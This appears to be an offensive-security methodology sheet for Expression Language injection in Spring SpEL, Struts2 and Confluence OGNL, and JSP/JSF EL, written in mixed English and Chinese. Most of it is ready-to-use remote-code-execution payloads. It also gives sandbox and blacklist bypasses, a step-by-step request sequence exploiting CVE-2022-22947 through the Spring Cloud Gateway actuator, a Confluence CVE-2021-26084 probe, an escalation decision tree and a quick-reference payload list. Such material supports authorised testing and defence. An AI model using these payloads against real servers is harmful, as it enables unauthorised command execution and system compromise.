expression-language-injection

Expression Language (EL) injection methodology

Key distinction: SSTI targets template rendering engines; EL injection targets embedded in Java frameworksexpression evaluators。

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1. Detection — multi-syntax probing

${7*7}              → 49 = SpEL、OGNL 或 Java EL
#{7*7}              → 49 = SpEL（替代语法）或 JSF EL
%{7*7}              → 49 = OGNL（Struts2）
${T(java.lang.Math).random()}  → 随机浮点数 = SpEL 确认
%{#context}         → 对象 dump = OGNL 确认

Differentiate engines

${7*7} response	%{7*7} response	engine
49	as-is %{7*7}	SpEL or Java EL
as-is ${7*7}	49	OGNL（Struts2）
49	49	both may exist simultaneously

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2. SpEL（Spring Expression Language）

Occurrence locations

• @Value("${...}") annotation
• Spring Security expressions (@PreAuthorize）
• Spring Cloud Gateway route predicates and filters
• Thymeleaf th:text="${...}"(when combined with __${...}__ during preprocessing)
• Spring Data @Query SpEL in

RCE — Runtime.exec

${T(java.lang.Runtime).getRuntime().exec("id")}

RCE — with output echo (Commons IO)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE — with output echo (Spring StreamUtils)

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder (when Runtime is blocked)

${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

Add a malicious route containing a SpEL filter via actuator:

# 步骤 1: 添加路由（SpEL 在 filter 中）
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# 步骤 2: 刷新路由
POST /actuator/gateway/refresh

# 步骤 3: 触发路由
GET /hackpath
# 响应头 "Result" 包含命令输出

# 步骤 4: 清理
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL sandbox bypass

When using SimpleEvaluationContext(restricts the T() operator):

${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

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3. OGNL（Object-Graph Navigation Language）

Occurrence locations

• Apache Struts2 — primary OGNL consumer
• Confluence Server — some request paths use OGNL
• Any Java application using ognl.Ognl.getValue()/ognl.Ognl.setValue() Java application

Basic RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 sandbox bypass — _memberAccess manipulation

Struts2 restricts OGNL via SecurityMemberAccess . Classic bypass:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

OgnlUtil blacklist clearing

Newer Struts2 versions use class/package blacklists, bypassed by clearing excludedClasses and excludedPackageNames :

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

Struts2 key CVEs

CVE	Vector	Payload location
S2-045（CVE-2017-5638）	Content-Type header	OGNL in Content-Type %{...}
S2-046（CVE-2017-5638）	Multipart filename	OGNL in upload filename
S2-016（CVE-2013-2251）	redirect:/redirectAction: prefix	URL parameter
S2-048（CVE-2017-9791）	Struts Showcase	OGNL in ActionMessage
S2-057（CVE-2018-11776）	Namespace OGNL	URL path

Confluence OGNL — CVE-2021-26084

Confluence Server allows OGNL injection via queryString or action parameters:

POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL 解码: \u0027+{3*3}+\u0027
# 如果响应包含 9 → 确认存在 OGNL 注入
# 升级到 Runtime.exec 实现 RCE

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4. Java EL（JSP / JSF）

Occurrence locations

• JSP pages:${expression} and #{expression}
• JSF (JavaServer Faces): value and method bindings
• Custom tag libraries

RCE Payload

// Java EL + Runtime:
${Runtime.getRuntime().exec("id")}

// 通过 pageContext（JSP）:
${pageContext.request.getServletContext().getClassLoader()}

// 反射方式:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

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5. Decision tree

输入反射且 ${7*7} 返回 49？
├── Java 应用？
│   ├── Struts2？→ 尝试 %{...} OGNL payload
│   │   └── 检查 Content-Type 注入（S2-045）
│   ├── Spring？→ 尝试 T(java.lang.Runtime) SpEL
│   │   └── 检查 /actuator/gateway（Spring Cloud Gateway）
│   ├── Confluence？→ 尝试 OGNL via action 参数
│   └── JSP/JSF？→ 尝试 Java EL payload
│
├── 错误信息暴露框架？
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
│
└── 被沙箱阻止？
    ├── OGNL: 清除 _memberAccess / excludedClasses
    ├── SpEL: 反射绕过 SimpleEvaluationContext
    └── 尝试替代执行方式（ProcessBuilder, ScriptEngine）

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6. Quick reference

# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# OGNL + 沙箱绕过:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 探测:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → SpEL in filter args
POST /actuator/gateway/refresh

In-depth reference

• EL/SpEL/OGNL RCE payloads and sandbox bypasses → references/el-exploitation.md